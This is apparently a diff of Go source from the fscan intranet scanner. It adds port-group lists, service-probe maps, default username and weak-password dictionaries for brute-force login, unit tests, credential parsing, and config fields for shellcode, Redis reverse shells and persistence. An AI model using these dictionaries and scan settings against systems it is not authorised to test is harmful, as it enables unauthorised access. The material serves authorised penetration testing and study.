WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8005,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10051,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,20880,21000,21501,21502,28018"
// MainPorts 主要扫描端口 (约150个)
// 包含: 基础服务、远程管理、数据库、消息队列、Web中间件、容器云、监控、安全设备等
MainPorts = "" +
// 基础服务 (21-995)
"21,22,23,25,53,80,81,88,110,111,135,139,143,161,389,443,445,465,502,512,513,514,515,548,554,587,623,636,873,902,993,995," +
// 代理/隧道 (1080-1883)
"1080,1099,1194,1433,1434,1521,1522,1525,1723,1883," +
// 远程/数据库 (2049-3690)
"2049,2121,2181,2200,2222,2375,2376,2379,2380,3000,3128,3268,3269,3306,3389,3690," +
// Java/中间件 (4369-5986)
"4369,4444,4848,5000,5005,5044,5060,5432,5601,5631,5632,5671,5672,5900,5984,5985,5986," +
// 缓存/数据库 (6000-6667)
"6000,6379,6380,6443,6666,6667," +
// Web/中间件 (7001-9999)
// 注意:9100 已移除,该端口为打印机 RAW 端口,发送数据会触发打印
"7001,7002,7474,7687,8000,8005,8008,8009,8080,8081,8086,8088,8089,8090,8161,8180,8443,8500,8834,8848,8880,8888,9000,9001,9042,9080,9090,9092,9093,9160,9200,9300,9418,9443,9999," +
// 管理/监控 (10000-11211)
"10000,10051,10250,10255,11211," +
// 消息队列/集群 (15672-27018)
"15672,22222,26379,27017,27018," +
// Hadoop/大数据 (50000-61616)
"50000,50070,50075,61613,61614,61616"
// DbPorts 数据库端口
DbPorts = "1433,1521,3306,5432,5672,5984,6379,7687,8086,9042,9093,9160,9200,11211,26379,27017,27018,61616"
// ServicePorts 服务端口
ServicePorts = "21,22,23,25,53,110,111,135,139,143,161,389,445,465,502,512,513,514,587,623,636,873,993,995,1433,1521,2049,2181,2222,3306,3389,5432,5672,5671,5900,5985,5986,6379,8161,8443,9000,9092,9093,9200,10051,11211,15672,15671,27017,61616,61613"
// CommonPorts 常用端口
CommonPorts = "21,22,23,25,53,80,110,135,139,143,443,445,993,995,1723,3389,5060,5985,5986"
// AllPorts 全端口
AllPorts = "1-65535"
)
// GetPortGroups 获取端口组映射 - 用于解析器
func GetPortGroups() map[string]string {
return map[string]string{
"web": WebPorts,
"main": MainPorts,
"db": DbPorts,
"service": ServicePorts,
"common": CommonPorts,
"all": AllPorts,
}
}
// =============================================================================
// 服务探测配置
// =============================================================================
// DefaultProbeMap 默认探测器列表
var DefaultProbeMap = []string{
"GenericLines",
"GetRequest",
"TLSSessionReq",
"SSLSessionReq",
"ms-sql-s",
"JavaRMI",
"LDAPSearchReq",
"LDAPBindReq",
"oracle-tns",
"Socks5",
}
// DefaultPortMap 默认端口映射关系
var DefaultPortMap = map[int][]string{
1: {"GetRequest", "Help"},
7: {"Help"},
21: {"GenericLines", "Help"},
23: {"GenericLines", "tn3270"},
25: {"Hello", "Help"},
35: {"GenericLines"},
42: {"SMBProgNeg"},
43: {"GenericLines"},
53: {"DNSVersionBindReqTCP", "DNSStatusRequestTCP"},
70: {"GetRequest"},
79: {"GenericLines", "GetRequest", "Help"},
80: {"GetRequest", "HTTPOptions", "RTSPRequest", "X11Probe", "FourOhFourRequest"},
81: {"GetRequest", "HTTPOptions", "RPCCheck", "FourOhFourRequest"},
82: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
83: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
84: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
85: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
88: {"GetRequest", "Kerberos", "SMBProgNeg", "FourOhFourRequest"},
98: {"GenericLines"},
110: {"GenericLines"},
111: {"RPCCheck"},
113: {"GenericLines", "GetRequest", "Help"},
119: {"GenericLines", "Help"},
130: {"NotesRPC"},
135: {"DNSVersionBindReqTCP", "SMBProgNeg"},
139: {"GetRequest", "SMBProgNeg"},
143: {"GetRequest"},
175: {"NJE"},
199: {"GenericLines", "RPCCheck", "Socks5", "Socks4"},
214: {"GenericLines"},
264: {"GenericLines"},
311: {"LDAPSearchReq"},
340: {"GenericLines"},
389: {"LDAPSearchReq", "LDAPBindReq"},
443: {"TLSSessionReq", "SSLSessionReq", "GetRequest", "HTTPOptions", "TerminalServerCookie"},
444: {"TLSSessionReq", "SSLSessionReq", "GetRequest", "HTTPOptions", "TerminalServerCookie"},
445: {"SMBProgNeg"},
465: {"SSLSessionReq", "TLSSessionReq", "Hello", "Help", "GetRequest", "HTTPOptions", "TerminalServerCookie"},
502: {"GenericLines"},
503: {"GenericLines"},
513: {"GenericLines"},
514: {"GenericLines"},
515: {"LPDString"},
544: {"GenericLines"},
548: {"afp"},
554: {"GetRequest"},
563: {"GenericLines"},
587: {"Hello", "Help"},
631: {"GetRequest", "HTTPOptions"},
636: {"LDAPSearchReq", "LDAPBindReq", "SSLSessionReq"},
646: {"LDAPSearchReq", "RPCCheck"},
691: {"GenericLines"},
873: {"GenericLines"},
898: {"GetRequest"},
993: {"GenericLines", "SSLSessionReq", "TerminalServerCookie", "TLSSessionReq"},
995: {"GenericLines", "SSLSessionReq", "TerminalServerCookie", "TLSSessionReq"},
1080: {"GenericLines", "Socks5", "Socks4"},
1099: {"JavaRMI"},
1234: {"SqueezeCenter_CLI"},
1311: {"GenericLines"},
1352: {"oracle-tns"},
1414: {"ibm-mqseries"},
1433: {"ms-sql-s"},
1521: {"oracle-tns"},
1723: {"GenericLines"},
1883: {"mqtt"},
1911: {"oracle-tns"},
2000: {"GenericLines", "oracle-tns"},
2049: {"RPCCheck"},
2121: {"GenericLines", "Help"},
2181: {"GenericLines"},
2222: {"GetRequest", "GenericLines", "HTTPOptions", "Help", "SSH", "TerminalServerCookie"},
2375: {"docker", "GetRequest", "HTTPOptions"},
2376: {"TLSSessionReq", "SSLSessionReq", "docker", "GetRequest", "HTTPOptions"},
2484: {"oracle-tns"},
2628: {"dominoconsole"},
3000: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
3268: {"LDAPSearchReq", "LDAPBindReq"},
3269: {"LDAPSearchReq", "LDAPBindReq", "SSLSessionReq"},
3306: {"GenericLines", "GetRequest", "HTTPOptions"},
3389: {"TerminalServerCookie", "TerminalServer"},
3690: {"GenericLines"},
4000: {"GenericLines"},
4369: {"epmd"},
4444: {"GenericLines"},
4840: {"GenericLines"},
5000: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
5050: {"GenericLines"},
5060: {"SIPOptions"},
5222: {"GenericLines"},
5432: {"GenericLines"},
5555: {"GenericLines"},
5560: {"GenericLines", "oracle-tns"},
5631: {"GenericLines", "PCWorkstation"},
5672: {"GenericLines"},
5984: {"GetRequest", "HTTPOptions"},
6000: {"X11Probe"},
6379: {"redis-server"},
6432: {"GenericLines"},
6667: {"GenericLines"},
7000: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
7001: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
7002: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
7070: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
7443: {"TLSSessionReq", "SSLSessionReq", "GetRequest", "HTTPOptions"},
7777: {"GenericLines", "oracle-tns"},
8000: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "iperf3"},
8005: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
8008: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
8009: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "ajp"},
8080: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
8081: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
8089: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
8090: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
8443: {"TLSSessionReq", "SSLSessionReq", "GetRequest", "HTTPOptions"},
8888: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
9000: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
9042: {"GenericLines"},
9092: {"GenericLines", "kafka"},
9200: {"GetRequest", "HTTPOptions", "elasticsearch"},
9300: {"GenericLines"},
9999: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "adbConnect"},
10000: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
10051: {"GenericLines"},
11211: {"Memcache"},
15672: {"GetRequest", "HTTPOptions"},
27017: {"mongodb"},
27018: {"mongodb"},
50070: {"GetRequest", "HTTPOptions"},
61616: {"GenericLines"},
}
// DefaultUserDict 默认服务用户字典
var DefaultUserDict = map[string][]string{
"ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"},
"mysql": {"root", "mysql"},
"mssql": {"sa", "sql"},
"smb": {"administrator", "admin", "guest"},
"rdp": {"administrator", "admin", "guest"},
"postgresql": {"postgres", "admin"},
"ssh": {"root", "admin"},
"mongodb": {"root", "admin"},
"redis": {""},
"oracle": {"sys", "system", "admin", "test", "web", "orcl"},
"telnet": {"root", "admin", "test"},
"elastic": {"elastic", "admin", "kibana"},
"rabbitmq": {"guest", "admin", "administrator", "rabbit", "rabbitmq", "root"},
"kafka": {"admin", "kafka", "root", "test"},
"activemq": {"admin", "root", "activemq", "system", "user"},
"ldap": {"admin", "administrator", "root", "cn=admin", "cn=administrator", "cn=manager"},
"smtp": {"admin", "root", "postmaster", "mail", "smtp", "administrator"},
"imap": {"admin", "mail", "postmaster", "root", "user", "test"},
"pop3": {"admin", "root", "mail", "user", "test", "postmaster"},
"zabbix": {"Admin", "admin", "guest", "user"},
"rsync": {"root", "admin", "backup"},
"cassandra": {"cassandra", "admin", "root", "system"},
"neo4j": {"neo4j", "admin", "root", "test"},
}
// DefaultPasswords 默认密码字典
var DefaultPasswords = []string{
"123456", "admin", "admin123", "root", "", "pass123", "pass@123",
"password", "Password", "P@ssword123", "123123", "654321", "111111",
"123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}",
"{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123",
"{user}#123", "{user}@111", "{user}@2019", "{user}@123#4",
"P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test",
"test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666",
"a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888",
"!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111",
"a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123",
"Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ",
"2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456",
"1q2w3e", "Charge123", "Aa123456789", "redis", "elastic123",
}
+393
View File
@@ -0,0 +1,393 @@
package config
import (
"strconv"
"strings"
"testing"
)
/*
constants_test.go - 配置常量测试
测试目标端口组探测器配置字典数据
价值配置错误会导致
- 端口组错误 扫描范围错误用户遗漏目标
- 字典错误 暴力破解失败无法登录系统
- 探测器配置错误 服务识别失败
"配置是数据但数据也会有bug端口范围错误字典重复
空值遗漏这些都是真实问题测试数据和测试代码一样重要"
*/
// =============================================================================
// 端口组测试
// =============================================================================
// TestPortGroups_Format 测试端口组格式
//
// 验证:所有端口组字符串格式正确(可解析为端口列表)
func TestPortGroups_Format(t *testing.T) {
tests := []struct {
name string
portGroup string
}{
{"WebPorts", WebPorts},
{"MainPorts", MainPorts},
{"DbPorts", DbPorts},
{"ServicePorts", ServicePorts},
{"CommonPorts", CommonPorts},
{"AllPorts", AllPorts},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
// 验证格式:逗号分隔的数字或范围
if tt.portGroup == "" {
t.Error("端口组不应为空")
return
}
// AllPorts是特殊格式"1-65535"
if tt.portGroup == "1-65535" {
t.Logf("✓ %s 格式正确(范围格式)", tt.name)
return
}
// 其他端口组应该是逗号分隔的数字
ports := strings.Split(tt.portGroup, ",")
if len(ports) == 0 {
t.Error("端口组应该包含至少一个端口")
return
}
// 验证每个端口都是有效数字
for i, portStr := range ports {
port, err := strconv.Atoi(strings.TrimSpace(portStr))
if err != nil {
t.Errorf("第%d个端口 '%s' 不是有效数字: %v", i+1, portStr, err)
continue
}
// 验证端口范围
if port < 1 || port > 65535 {
t.Errorf("第%d个端口 %d 超出有效范围 [1-65535]", i+1, port)
}
}
t.Logf("✓ %s 格式正确(%d个端口)", tt.name, len(ports))
})
}
}
// TestPortGroups_NoEmpty 测试端口组非空
func TestPortGroups_NoEmpty(t *testing.T) {
groups := map[string]string{
"WebPorts": WebPorts,
"MainPorts": MainPorts,
"DbPorts": DbPorts,
"ServicePorts": ServicePorts,
"CommonPorts": CommonPorts,
"AllPorts": AllPorts,
}
for name, ports := range groups {
if ports == "" {
t.Errorf("%s 不应为空字符串", name)
}
}
t.Logf("✓ 所有端口组非空")
}
// TestPortGroups_NoDuplicates 测试端口组无重复
func TestPortGroups_NoDuplicates(t *testing.T) {
tests := []struct {
name string
portGroup string
}{
{"WebPorts", WebPorts},
{"MainPorts", MainPorts},
{"DbPorts", DbPorts},
{"ServicePorts", ServicePorts},
{"CommonPorts", CommonPorts},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
if tt.portGroup == "1-65535" {
t.Skip("范围格式无需检查重复")
return
}
ports := strings.Split(tt.portGroup, ",")
seen := make(map[string]bool)
duplicates := []string{}
for _, port := range ports {
port = strings.TrimSpace(port)
if seen[port] {
duplicates = append(duplicates, port)
}
seen[port] = true
}
if len(duplicates) > 0 {
t.Errorf("%s 包含重复端口: %v", tt.name, duplicates)
} else {
t.Logf("✓ %s 无重复端口", tt.name)
}
})
}
}
// TestGetPortGroups_Completeness 测试GetPortGroups完整性
//
// 验证:返回的map包含所有预定义的端口组
func TestGetPortGroups_Completeness(t *testing.T) {
groups := GetPortGroups()
expectedKeys := []string{"web", "main", "db", "service", "common", "all"}
for _, key := range expectedKeys {
if _, ok := groups[key]; !ok {
t.Errorf("GetPortGroups缺少键: %s", key)
}
}
if len(groups) != len(expectedKeys) {
t.Errorf("GetPortGroups返回%d个组,期望%d个", len(groups), len(expectedKeys))
}
t.Logf("✓ GetPortGroups包含所有%d个端口组", len(expectedKeys))
}
// TestGetPortGroups_Values 测试GetPortGroups返回正确的值
func TestGetPortGroups_Values(t *testing.T) {
groups := GetPortGroups()
tests := []struct {
key string
expected string
}{
{"web", WebPorts},
{"main", MainPorts},
{"db", DbPorts},
{"service", ServicePorts},
{"common", CommonPorts},
{"all", AllPorts},
}
for _, tt := range tests {
t.Run(tt.key, func(t *testing.T) {
actual, ok := groups[tt.key]
if !ok {
t.Fatalf("GetPortGroups缺少键: %s", tt.key)
}
if actual != tt.expected {
t.Errorf("GetPortGroups[%s] 值不匹配\n期望前20字符: %s...\n实际前20字符: %s...",
tt.key, tt.expected[:20], actual[:20])
}
t.Logf("✓ %s 映射正确", tt.key)
})
}
}
// =============================================================================
// 探测器配置测试
// =============================================================================
// TestDefaultProbeMap_NoEmpty 测试默认探测器列表非空
func TestDefaultProbeMap_NoEmpty(t *testing.T) {
if len(DefaultProbeMap) == 0 {
t.Error("DefaultProbeMap不应为空")
return
}
// 验证每个探测器名称非空
for i, probe := range DefaultProbeMap {
if probe == "" {
t.Errorf("第%d个探测器名称为空", i+1)
}
}
t.Logf("✓ DefaultProbeMap包含%d个探测器", len(DefaultProbeMap))
}
// TestDefaultPortMap_ValidKeys 测试DefaultPortMap的键有效
func TestDefaultPortMap_ValidKeys(t *testing.T) {
invalidPorts := []int{}
for port := range DefaultPortMap {
if port < 1 || port > 65535 {
invalidPorts = append(invalidPorts, port)
}
}
if len(invalidPorts) > 0 {
t.Errorf("DefaultPortMap包含无效端口号: %v", invalidPorts)
} else {
t.Logf("✓ DefaultPortMap的%d个端口号都有效", len(DefaultPortMap))
}
}
// TestDefaultPortMap_NoEmptyValues 测试DefaultPortMap值非空
func TestDefaultPortMap_NoEmptyValues(t *testing.T) {
emptyPorts := []int{}
for port, probes := range DefaultPortMap {
if len(probes) == 0 {
emptyPorts = append(emptyPorts, port)
}
}
if len(emptyPorts) > 0 {
t.Errorf("以下端口的探测器列表为空: %v", emptyPorts)
} else {
t.Logf("✓ DefaultPortMap所有端口都有探测器")
}
}
// =============================================================================
// 字典数据测试
// =============================================================================
// TestDefaultUserDict_NoEmptyKeys 测试DefaultUserDict键非空
func TestDefaultUserDict_NoEmptyKeys(t *testing.T) {
for service, users := range DefaultUserDict {
if service == "" {
t.Error("DefaultUserDict包含空服务名")
}
if len(users) == 0 {
t.Errorf("服务 '%s' 的用户列表为空", service)
}
}
t.Logf("✓ DefaultUserDict包含%d个服务", len(DefaultUserDict))
}
// TestDefaultUserDict_CommonServices 测试DefaultUserDict包含常见服务
func TestDefaultUserDict_CommonServices(t *testing.T) {
commonServices := []string{"ftp", "mysql", "mssql", "ssh", "redis", "mongodb"}
for _, service := range commonServices {
if _, ok := DefaultUserDict[service]; !ok {
t.Errorf("DefaultUserDict缺少常见服务: %s", service)
}
}
t.Logf("✓ DefaultUserDict包含所有常见服务")
}
// TestDefaultUserDict_AllowsEmptyUser 测试DefaultUserDict允许空用户名
//
// 验证:某些服务(如redis)允许空用户名
func TestDefaultUserDict_AllowsEmptyUser(t *testing.T) {
// redis服务应该包含空用户名
redisUsers, ok := DefaultUserDict["redis"]
if !ok {
t.Skip("DefaultUserDict不包含redis,跳过测试")
return
}
hasEmptyUser := false
for _, user := range redisUsers {
if user == "" {
hasEmptyUser = true
break
}
}
if !hasEmptyUser {
t.Error("redis用户列表应该包含空用户名(默认无认证)")
} else {
t.Logf("✓ redis用户列表正确包含空用户名")
}
}
// TestDefaultPasswords_NoEmpty 测试DefaultPasswords非空
func TestDefaultPasswords_NoEmpty(t *testing.T) {
if len(DefaultPasswords) == 0 {
t.Error("DefaultPasswords不应为空")
return
}
t.Logf("✓ DefaultPasswords包含%d个密码", len(DefaultPasswords))
}
// TestDefaultPasswords_AllowsEmptyPassword 测试DefaultPasswords允许空密码
func TestDefaultPasswords_AllowsEmptyPassword(t *testing.T) {
// 应该包含空密码(某些服务默认无密码)
hasEmptyPassword := false
for _, pass := range DefaultPasswords {
if pass == "" {
hasEmptyPassword = true
break
}
}
if !hasEmptyPassword {
t.Error("DefaultPasswords应该包含空密码(某些服务默认无密码)")
} else {
t.Logf("✓ DefaultPasswords正确包含空密码")
}
}
// TestDefaultPasswords_HasPlaceholder 测试DefaultPasswords包含占位符
func TestDefaultPasswords_HasPlaceholder(t *testing.T) {
// 应该包含{user}占位符(密码=用户名的场景)
hasPlaceholder := false
for _, pass := range DefaultPasswords {
if strings.Contains(pass, "{user}") {
hasPlaceholder = true
break
}
}
if !hasPlaceholder {
t.Error("DefaultPasswords应该包含{user}占位符(密码=用户名变体)")
} else {
t.Logf("✓ DefaultPasswords正确包含{user}占位符")
}
}
// =============================================================================
// 结构体测试
// =============================================================================
// TestPocInfo_Fields 测试PocInfo结构体字段
func TestPocInfo_Fields(t *testing.T) {
poc := PocInfo{
Target: "http://example.com",
PocName: "test-poc",
}
if poc.Target != "http://example.com" {
t.Error("PocInfo.Target赋值失败")
}
if poc.PocName != "test-poc" {
t.Error("PocInfo.PocName赋值失败")
}
t.Logf("✓ PocInfo结构体正常工作")
}
// TestCredentialPair_Fields 测试CredentialPair结构体字段
func TestCredentialPair_Fields(t *testing.T) {
cred := CredentialPair{
Username: "admin",
Password: "password123",
}
if cred.Username != "admin" {
t.Error("CredentialPair.Username赋值失败")
}
if cred.Password != "password123" {
t.Error("CredentialPair.Password赋值失败")
}
t.Logf("✓ CredentialPair结构体正常工作")
}
+310
View File
@@ -0,0 +1,310 @@
package common
import (
"encoding/hex"
"fmt"
"net"
"strconv"
"strings"
"github.com/shadow1ng/fscan/common/config"
"github.com/shadow1ng/fscan/common/parsers"
)
/*
config_builder.go - 统一配置构建入口
FlagVars 直接构建 Config State消除中间层
*/
// BuildConfig 从 FlagVars 构建完整的 Config 和 State
// 这是新的统一入口,替代原来的 Parse() + BuildConfigFromFlags() + updateGlobalVariables()
func BuildConfig(fv *FlagVars, info *HostInfo) (*Config, *State, error) {
// 1. 构建基础 Config(从 flag_config.go 的 BuildConfigFromFlags
cfg := BuildConfigFromFlags(fv)
// 2. 创建 State
state := NewState()
// 3. 解析凭据
if err := parseCredentials(fv, cfg); err != nil {
return nil, nil, fmt.Errorf("凭据解析失败: %w", err)
}
// 4. 解析目标(主机、端口、URL)
if err := parseTargets(fv, info, cfg, state); err != nil {
return nil, nil, fmt.Errorf("目标解析失败: %w", err)
}
// 5. 应用日志级别
applyLogLevelFromConfig(fv)
return cfg, state, nil
}
// =============================================================================
// 凭据解析
// =============================================================================
func parseCredentials(fv *FlagVars, cfg *Config) error {
// 解析用户名
usernames := parseUsernames(fv)
if len(usernames) > 0 {
for serviceName := range cfg.Credentials.Userdict {
cfg.Credentials.Userdict[serviceName] = usernames
}
}
// 解析密码
passwords := parsePasswords(fv)
if len(passwords) > 0 {
cfg.Credentials.Passwords = passwords
}
// 解析用户密码对
pairs, err := parseUserPassPairs(fv)
if err != nil {
return err
}
if len(pairs) > 0 {
cfg.Credentials.UserPassPairs = pairs
}
// 解析哈希
hashValues, hashBytes, err := parseHashes(fv)
if err != nil {
return err
}
if len(hashValues) > 0 {
cfg.Credentials.HashValues = hashValues
cfg.Credentials.HashBytes = hashBytes
}
return nil
}
func parseUsernames(fv *FlagVars) []string {
var usernames []string
// 命令行用户名
if fv.Username != "" {
for _, u := range strings.Split(fv.Username, ",") {
u = strings.TrimSpace(u)
if u != "" {
usernames = append(usernames, u)
}
}
}
// 从文件读取
if fv.UsersFile != "" {
if lines, err := parsers.ReadLinesFromFile(fv.UsersFile); err == nil {
usernames = append(usernames, lines...)
} else {
LogError(fmt.Sprintf("读取用户名文件 %s 失败: %v", fv.UsersFile, err))
}
}
// 额外用户名
if fv.AddUsers != "" {
for _, u := range strings.Split(fv.AddUsers, ",") {
u = strings.TrimSpace(u)
if u != "" {
usernames = append(usernames, u)
}
}
}
return removeDuplicate(usernames)
}
func parsePasswords(fv *FlagVars) []string {
var passwords []string
// 命令行密码
if fv.Password != "" {
passwords = append(passwords, strings.Split(fv.Password, ",")...)
}
// 从文件读取
if fv.PasswordsFile != "" {
if lines, err := parsers.ReadLinesFromFile(fv.PasswordsFile); err == nil {
passwords = append(passwords, lines...)
} else {
LogError(fmt.Sprintf("读取密码文件 %s 失败: %v", fv.PasswordsFile, err))
}
}
// 额外密码
if fv.AddPasswords != "" {
passwords = append(passwords, strings.Split(fv.AddPasswords, ",")...)
}
return removeDuplicate(passwords)
}
func parseUserPassPairs(fv *FlagVars) ([]config.CredentialPair, error) {
var pairs []config.CredentialPair
// 如果命令行同时指定了单个用户名和单个密码(不是逗号分隔的多个)
if fv.Username != "" && fv.Password != "" &&
!strings.Contains(fv.Username, ",") && !strings.Contains(fv.Password, ",") &&
fv.UsersFile == "" && fv.PasswordsFile == "" && fv.UserPassFile == "" {
pairs = append(pairs, config.CredentialPair{
Username: strings.TrimSpace(fv.Username),
Password: fv.Password,
})
return pairs, nil
}
// 从文件读取用户密码对
if fv.UserPassFile != "" {
filePairs, err := parsers.ParseUserPassFile(fv.UserPassFile)
if err != nil {
return nil, err
}
pairs = append(pairs, filePairs...)
}
return pairs, nil
}
func parseHashes(fv *FlagVars) ([]string, [][]byte, error) {
var hashValues []string
var hashBytes [][]byte
// 命令行哈希
if fv.HashValue != "" {
hash := strings.TrimSpace(fv.HashValue)
if len(hash) == 32 {
hashValues = append(hashValues, hash)
if hashByte, err := hex.DecodeString(hash); err == nil {
hashBytes = append(hashBytes, hashByte)
}
}
}
// 从文件读取
if fv.HashFile != "" {
fileHashes, fileHashBytes, err := parsers.ParseHashFile(fv.HashFile)
if err != nil {
return nil, nil, err
}
hashValues = append(hashValues, fileHashes...)
hashBytes = append(hashBytes, fileHashBytes...)
}
return hashValues, hashBytes, nil
}
// =============================================================================
// 目标解析
// =============================================================================
func parseTargets(fv *FlagVars, info *HostInfo, cfg *Config, state *State) error {
// 检查是否为 host:port 格式
ports := fv.Ports
if info.Host != "" && strings.Contains(info.Host, ":") {
if _, portStr, err := net.SplitHostPort(info.Host); err == nil {
if port, portErr := strconv.Atoi(portStr); portErr == nil && port >= 1 && port <= 65535 {
// 有效的 host:port 格式
state.SetHostPorts([]string{info.Host})
ports = "" // 清空端口,避免双重扫描
}
}
}
// 解析 URL
urls := parseURLs(fv)
if len(urls) > 0 {
state.SetURLs(urls)
if info.URL == "" && len(urls) == 1 {
info.URL = urls[0]
}
}
// 更新端口配置
if ports != "" {
cfg.Target.Ports = ports
}
return nil
}
func parseURLs(fv *FlagVars) []string {
var urls []string
// 命令行 URL
if fv.TargetURL != "" {
for _, u := range strings.Split(fv.TargetURL, ",") {
u = strings.TrimSpace(u)
if u != "" {
urls = append(urls, normalizeURL(u))
}
}
}
// 从文件读取
if fv.URLsFile != "" {
if lines, err := parsers.ReadLinesFromFile(fv.URLsFile); err == nil {
for _, line := range lines {
urls = append(urls, normalizeURL(line))
}
} else {
LogError(fmt.Sprintf("读取URL文件 %s 失败: %v", fv.URLsFile, err))
}
}
return removeDuplicate(urls)
}
func normalizeURL(rawURL string) string {
rawURL = strings.TrimSpace(rawURL)
if rawURL == "" {
return rawURL
}
if !strings.HasPrefix(rawURL, "http://") && !strings.HasPrefix(rawURL, "https://") {
return "http://" + rawURL
}
return rawURL
}
// =============================================================================
// 日志级别应用
// =============================================================================
func applyLogLevelFromConfig(fv *FlagVars) {
if fv.LogLevel == "" {
return
}
// 调用已有的 applyLogLevel 函数
applyLogLevel()
}
// =============================================================================
// 辅助函数
// =============================================================================
func removeDuplicate(old []string) []string {
if len(old) <= 1 {
return old
}
temp := make(map[string]struct{}, len(old))
result := make([]string, 0, len(old))
for _, item := range old {
if _, exists := temp[item]; !exists {
temp[item] = struct{}{}
result = append(result, item)
}
}
return result
}
// =============================================================================
// 保留 BuildConfigFromFlags 的原有实现(从 flag_config.go 移入)
// =============================================================================
// BuildConfigFromFlags 已在 flag_config.go 中定义,这里不重复
+188
View File
@@ -0,0 +1,188 @@
package common
import (
"time"
"github.com/shadow1ng/fscan/common/config"
)
/*
config_struct.go - 配置结构体定义
简化后的结构
- 高频字段平铺到顶层
- 子配置使用值类型非指针
- 删除过度分类的 AdvancedConfig
*/
// =============================================================================
// Config - 扫描器配置
// =============================================================================
// Config 扫描器完整配置 - 初始化后只读,可安全共享
type Config struct {
// 高频访问字段 - 平铺到顶层
Timeout time.Duration // 通用超时
ThreadNum int // 主线程数
ModuleThreadNum int // 模块线程数
DisableBrute bool // 禁用暴力破解
DisablePing bool // 禁用Ping检测
DisableTcpProbe bool // 禁用TCP补充探测
// 扫描模式
Mode string // 扫描模式
LocalMode bool // 本地模式
LocalPlugin string // 本地插件名
AliveOnly bool // 仅存活检测
MaxRetries int // 最大重试次数
// 高级功能(从AdvancedConfig合并)
Shellcode string // Shellcode
LocalPluginsList []string // 本地插件列表
DNSLog bool // DNSLog检测
PersistenceTargetFile string // 持久化目标文件
WinPEFile string // WinPE文件
PortMap map[int][]string // 端口映射
DefaultMap []string // 默认映射
// 分组配置 - 值类型
Credentials CredentialConfig
Network NetworkConfig
Output OutputConfig
POC POCConfig
Redis RedisConfig
HTTP HTTPConfig
LocalExploit LocalExploitConfig
Target TargetConfig // 扫描目标配置
// SOCKS5代理端口配置
Socks5ProxyPort int // SOCKS5代理端口
}
// TargetConfig 扫描目标配置
type TargetConfig struct {
Ports string // 端口范围字符串
ExcludePorts string // 排除端口字符串
}
// CredentialConfig 认证相关配置
type CredentialConfig struct {
Username string
Password string
Domain string
Userdict map[string][]string
Passwords []string
UserPassPairs []config.CredentialPair
HashValues []string
HashBytes [][]byte
SSHKeyPath string
}
// NetworkConfig 网络相关配置
type NetworkConfig struct {
HTTPProxy string
Socks5Proxy string
Iface string
WebTimeout time.Duration
MaxRedirects int
PacketRateLimit int64
MaxPacketCount int64
ICMPRate float64
}
// OutputConfig 输出相关配置
type OutputConfig struct {
File string
Format string
DisableSave bool
NoColor bool
Silent bool
DisableProgress bool
ShowProgress bool
LogLevel string
Language string
PerfStats bool
}
// POCConfig POC扫描相关配置
type POCConfig struct {
PocPath string // POC路径
PocName string // 指定POC名称
Full bool // 完整POC扫描
Num int // POC并发数
Disabled bool // 禁用POC扫描
}
// RedisConfig Redis利用相关配置
type RedisConfig struct {
Disabled bool // 禁用Redis利用
File string // SSH密钥文件
Shell string // 反弹Shell地址
WritePath string // 写入路径
WriteContent string // 写入内容
WriteFile string // 本地文件路径
}
// HTTPConfig HTTP请求相关配置
type HTTPConfig struct {
Cookie string // Cookie
UserAgent string // User-Agent
Accept string // Accept头
}
